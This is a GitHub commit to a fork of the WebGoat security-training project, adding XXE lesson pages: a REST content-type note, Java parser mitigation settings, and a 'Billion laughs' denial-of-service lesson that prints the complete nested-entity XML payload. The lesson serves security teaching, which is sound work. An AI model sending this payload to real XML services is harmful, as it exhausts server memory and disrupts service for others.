forked from WebGoat/WebGoat
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
76 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
5 changes: 4 additions & 1 deletion
5
...xxe/src/main/resources/plugin/XXE/lessonPlans/en/XXE_changing_content_type.adoc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,7 @@ | ||
== Modern REST framework | ||
|
||
Again same exercise but try to enforce the same XML injection as we did in first lesson. | ||
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. | ||
So this might result in JSON endpoints being vulnerable for XXE attacks. | ||
|
||
Again same exercise but try to perform the same XML injection as we did in first lesson. | ||
|
21 changes: 21 additions & 0 deletions
21
...at-lessons/xxe/src/main/resources/plugin/XXE/lessonPlans/en/XXE_mitigation.adoc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
== XXE mitigation | ||
|
||
In order to protect against XXE attacks you need to make sure you validate the input received from an untrusted client. | ||
In the Java world you can also instruct your parser to ignore DTD completely, for example: | ||
|
||
[source] | ||
---- | ||
XMLInputFactory xif = XMLInputFactory.newFactory(); | ||
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); | ||
---- | ||
|
||
if you are not able to completely switch off the DTD support, you can also instruct the XML parser to ignore external entities, like: | ||
|
||
[source] | ||
---- | ||
XMLInputFactory xif = XMLInputFactory.newFactory(); | ||
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); | ||
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true); | ||
---- | ||
|
||
For more information about configuration, see https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet |
30 changes: 30 additions & 0 deletions
30
webgoat-lessons/xxe/src/main/resources/plugin/XXE/lessonPlans/en/XXE_overflow.adoc
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
== XXE DOS attack | ||
|
||
With the same XXE attack we can perform a DOS service attack towards the server. An example of such an attack is: | ||
|
||
[source] | ||
---- | ||
<?xml version="1.0"?> | ||
<!DOCTYPE lolz [ | ||
<!ENTITY lol "lol"> | ||
<!ELEMENT lolz (#PCDATA)> | ||
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> | ||
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> | ||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> | ||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> | ||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> | ||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> | ||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> | ||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> | ||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> | ||
]> | ||
<lolz>&lol9;</lolz> | ||
---- | ||
|
||
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined | ||
entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on. | ||
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain 109 = a billion "lol"s, taking up almost 3 | ||
gigabytes of memory. | ||
|
||
This is called a "Billion laughs", more information can be found here: https://en.wikipedia.org/wiki/Billion_laughs | ||
|